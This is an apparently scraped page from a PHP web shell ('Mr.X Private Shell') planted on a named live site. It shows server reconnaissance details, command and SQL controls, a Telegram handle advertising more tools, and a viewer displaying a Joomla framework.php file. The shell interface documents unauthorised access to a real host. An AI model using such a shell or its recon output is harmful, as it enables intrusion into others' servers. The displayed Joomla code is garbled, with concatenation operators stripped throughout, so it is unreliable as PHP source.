Uname: Linux server.saraya-global.com 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Tue Sep 30 05:56:43 EDT 2025 x86_64
User: 1003 (sarayaglobal)
Group: 1004 (sarayaglobal)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/sarayaglobal/goodmaid.net/includes      ( Reset | Go to )
File Name: framework.php
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use 
Joomla\CMS\Version;
use 
Joomla\Utilities\IpHelper;

// System includes
require_once JPATH_LIBRARIES '/bootstrap.php';

// Installation check, and check on removal of the install directory.
if (!file_exists(JPATH_CONFIGURATION '/configuration.php')
    || (
filesize(JPATH_CONFIGURATION '/configuration.php') < 10)
    || (
file_exists(JPATH_INSTALLATION '/index.php') && (false === (new Version)->isInDevelopmentState())))
{
    if (
file_exists(JPATH_INSTALLATION '/index.php'))
    {
        
header('Location: ' substr($_SERVER['REQUEST_URI'], 0strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');

        exit;
    }
    else
    {
        echo 
'No configuration file found and no installation code available. Exiting...';

        exit;
    }
}

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once 
JPATH_CONFIGURATION '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig;

// Set the error_reporting, and adjust a global Error Handler
switch ($config->error_reporting)
{
    case 
'default':
    case 
'-1':

        break;

    case 
'none':
    case 
'0':
        
error_reporting(0);

        break;

    case 
'simple':
        
error_reporting(E_ERROR E_WARNING E_PARSE);
        
ini_set('display_errors'1);

        break;

    case 
'maximum':
    case 
'development'// <= Stays for backward compatibility, @TODO: can be removed in 5.0
        
error_reporting(E_ALL);
        
ini_set('display_errors'1);

        break;

    default:
        
error_reporting($config->error_reporting);
        
ini_set('display_errors'1);

        break;
}

if (!
defined('JDEBUG'))
{
    
define('JDEBUG'$config->debug);
}

// Check deprecation logging
if (empty($config->log_deprecated))
{
    
// Reset handler for E_USER_DEPRECATED
    
set_error_handler(nullE_USER_DEPRECATED);
}
else
{
    
// Make sure handler for E_USER_DEPRECATED is registered
    
set_error_handler(['Joomla\CMS\Exception\ExceptionHandler''handleUserDeprecatedErrors'], E_USER_DEPRECATED);
}

if (
JDEBUG || $config->error_reporting === 'maximum')
{
    
// Set new Exception handler with debug enabled
    
$errorHandler->setExceptionHandler(
        [
            new 
\Symfony\Component\ErrorHandler\ErrorHandler(nulltrue),
            
'renderException'
        
]
    );
}

/**
 * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
 *
 * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
 * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
 */
if (property_exists($config'behind_loadbalancer') && $config->behind_loadbalancer == 1)
{
    
// If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
    
IpHelper::setAllowIpOverrides(true);
}
else
{
    
// We disable the allowing of IP overriding using headers by default.
    
IpHelper::setAllowIpOverrides(false);
}

unset(
$config);

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL